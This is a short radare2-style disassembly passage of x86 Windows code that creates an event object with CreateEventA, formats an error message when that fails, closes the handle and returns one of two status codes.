call dword [sym.imp.KERNEL32.dll_CreateEventA]
test eax, eax
mov dword [esp + 0x14], eax
jne 0x4025db
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0xea4]
push str.CreateEvent_is_NULL__GetLastError_is__d
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0xea0]
push edx
call edi
mov eax, dword [esp + 0x20]
test eax, eax
jne 0x402435
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x4248bc
call dword [fcn.00403618]
lea ecx, [esp + 0x70]
call fcn.00402f00
lea ecx, [esp + 0x184]
call fcn.004030c0
pop edi
pop esi
pop ebp
mov eax, 0x8020428
pop ebx
add esp, 0x1290
ret 0x10
lea ecx, [esp + 0x184]
call fcn.004030c0
pop edi
pop esi
pop ebp
mov eax, 0xa
pop ebx
add esp, 0x1290
ret 0x10